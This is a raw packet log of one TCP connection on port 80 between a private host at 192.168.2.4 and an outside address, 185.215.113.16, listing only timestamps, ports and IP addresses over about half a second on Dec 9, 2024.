Dec 9, 2024 20:27:48.882563114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.882585049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.883351088 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.883559942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.883703947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.883753061 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.884789944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.884881973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.884931087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.885765076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.885883093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.885931969 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.886864901 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.886948109 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.887012005 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.887330055 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.887876034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.887921095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.887949944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.887994051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.889075994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.889117956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.889121056 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.889158964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.890060902 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.890105009 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.890260935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.891216040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.891288996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.891290903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.892194986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.892245054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.892280102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.892318964 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.893579006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.893697023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.893750906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.894404888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.894516945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.894563913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.895502090 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.895591974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.895637989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.896626949 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.896673918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.896712065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.897588968 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.897638083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.897665977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.898792028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.898838997 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.898900986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.898940086 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.899785042 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.899849892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.899894953 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.900878906 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.901019096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.901068926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.901959896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.902007103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.902086020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.903044939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.903095007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.903234959 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.903340101 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.904154062 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.904257059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.904304028 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.905294895 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.905395985 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.905447006 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.906308889 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.906353951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.906404972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.907341003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.907433987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.907480955 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.907489061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.907529116 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.908463001 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.908592939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.908643007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.909579992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.909652948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.909692049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.910773039 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.045681000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.045785904 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.045876980 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.046112061 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.046261072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.046312094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.047194958 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.047348022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.047378063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.047816038 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.048278093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.048331022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.048341990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.049458027 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.049524069 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.049554110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.050544977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.050609112 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.050647020 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.051330090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.051506042 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.051650047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.051698923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.052639961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.052685022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.052737951 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.053709030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.053915024 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.053972960 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.054761887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.054857016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.054917097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.055840969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.055924892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.055969000 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.056972980 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.057032108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.057118893 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.058053017 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.058084011 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.058120966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.058192015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.059108973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.059149981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.059175968 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.059212923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.060195923 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.060297012 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.060344934 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.061261892 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.061388969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.061449051 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.062357903 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.062490940 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.062531948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.063417912 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.063492060 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.063555002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.064519882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.064652920 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.064702034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.065604925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.065738916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.065779924 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.066694975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.066802025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.066848040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.067766905 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.067888021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.067933083 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.068871021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.068912029 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.068974972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.069936037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.069994926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.070036888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.071038961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.071079969 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.071106911 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.071146965 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.072494030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.072690964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.072734118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.073565960 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.073659897 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.073708057 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.074882984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.074927092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.074960947 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.075331926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.075947046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.076024055 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.076066017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.076911926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.077012062 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.077054024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.077758074 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.077797890 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.077802896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.078762054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.078802109 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.078939915 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.079335928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.079724073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.079813957 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.079854965 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.080785990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.080884933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.080926895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.081892967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.081944942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.081999063 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.082922935 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.082967043 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.083055019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.083332062 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.084053040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.084141016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.084192991 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.085139990 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.085197926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.085253954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.086185932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.086287022 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.086337090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.087254047 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.087328911 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.087343931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.087374926 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.088371038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.088421106 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.088483095 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.089473009 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.089517117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.089524031 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.090495110 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.090539932 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.090558052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.091336012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.091577053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.091666937 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.091715097 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.092669964 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.092776060 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.092818022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.093755007 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.093811989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.094100952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.094978094 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.095045090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.095182896 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.095334053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.095937967 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.096054077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.096106052 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.097028017 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.097054005 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.097110987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.098154068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.098256111 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.098318100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.099167109 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.099241972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.099287033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.100240946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.100306988 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.100347996 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.101320028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.101445913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.101489067 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.102421999 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.102463007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.237968922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.238008976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.238117933 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.238193989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.238296986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.238343954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.239039898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.239176989 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.239222050 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.240139961 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.240230083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.240276098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.241208076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.241250992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.241283894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.242321014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.242364883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.242460966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.243302107 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.243405104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.243571043 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.243623018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.243669033 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.244481087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.244523048 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.244628906 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.244668007 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.245549917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.245595932 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.245645046 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.245682001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.246645927 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.246694088 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.246738911 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.246773958 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.247715950 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.247812986 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.247860909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.248760939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.248933077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.248982906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.249866962 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.249918938 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.250031948 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.250941038 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.250987053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.251020908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.251329899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.252038002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.252217054 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.252264977 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.253103018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.253295898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.253346920 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.254251003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.254297972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.254321098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.255304098 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.255328894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.255347013 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.255438089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.256481886 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.256532907 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.256568909 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.257563114 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.257621050 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.257687092 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.257723093 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.258544922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.258677006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.258781910 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.259664059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.259793043 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.259843111 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.260678053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.260730028 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.260803938 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.261784077 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.261835098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:49.261888027 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:49.262866020 CET	80	49766	185.215.113.16	192.168.2.4
